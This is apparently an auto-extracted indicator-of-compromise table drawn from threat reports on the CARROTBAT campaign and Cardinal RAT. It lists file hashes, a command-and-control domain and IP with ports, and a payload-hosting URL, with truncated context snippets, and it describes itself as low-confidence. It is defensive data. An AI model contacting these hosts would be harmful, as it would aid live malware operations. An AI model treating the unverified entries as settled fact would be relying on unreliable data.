| sha256 | a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc | b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc SYSCON Payload Samples 5a2c53a20fd66467e87290f5845a5c7d6aa8 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0 | 5287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63 a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f | 166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef288200 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de | a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de File Type PE32 executable (GUI) Intel 80386, for MS Windows | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a | 738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b52 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb | ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2 | 3ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2 fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 | 43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 File Type Microsoft Cabinet archive data, 181248 bytes, 3 f | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d | unicate with 61.14.210[.]72 on port 7117. CARROTBAT Samples d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8be | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0 | 17efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a49 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652 | f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5 da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a17507 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea | 0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8b | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828 | fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847 e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd | 66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828 | e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc | cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084 e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead541 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4 | d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7 f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084 | 9849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358 f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084 e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e5548 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5 | b104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659 fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5 da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659 | 3a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659 fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958 | ac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2 fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958 Infrastructure https://881.000webhostapp[.]com/1.txt http:/ | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63 | 067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6 fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63 a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa685088 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e | bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9 ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a4359 | The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia Palo Alto Unit 42 | · Aug 17, 2026 |
| domain | affiliatecollective.club | } Campaign Identifier: '\xf1\xaf\x02i.]\xa4\xe0' C2 Server: affiliatecollective[.]club C2 Port: 443 Hash Value: 0304674e9876530dfbea5a9b4fec7b98 | Cardinal RAT Sins Again, Targets Israeli Fin Palo Alto Unit 42 | · Aug 17, 2026 |
| md5 | 0304674e9876530dfbea5a9b4fec7b98 | Server: affiliatecollective[.]club C2 Port: 443 Hash Value: 0304674e9876530dfbea5a9b4fec7b98 Additional C2 Servers: 0 GUID: '\xd6\x04hr\x9a\xedLN\xae\xe | Cardinal RAT Sins Again, Targets Israeli Fin Palo Alto Unit 42 | · Aug 17, 2026 |
| sha256 | 0097dd7676b810bd0c1c70d8c86604c830e1e8e88f6a13c3869747faba381076 | bbfcd2b343523ed79476f9516cc7d2b041c43841e5e735db4f22ae970c3 0097dd7676b810bd0c1c70d8c86604c830e1e8e88f6a13c3869747faba381076 08ce077e8d54db08ede1095d03286146d04e8cbce74ec91a9fc7b9d0a99 | Cardinal RAT Sins Again, Targets Israeli Fin Palo Alto Unit 42 | · Aug 17, 2026 |
Extraction is regex-based (SHA-256/SHA-1/MD5, public IPv4, defanged hxxp/[.] indicators, and bare domains/emails only from malware, actor, exploit, phishing, ransomware and breach articles with a nearby indicator context word). Treat confidence as low until you verify against the source article.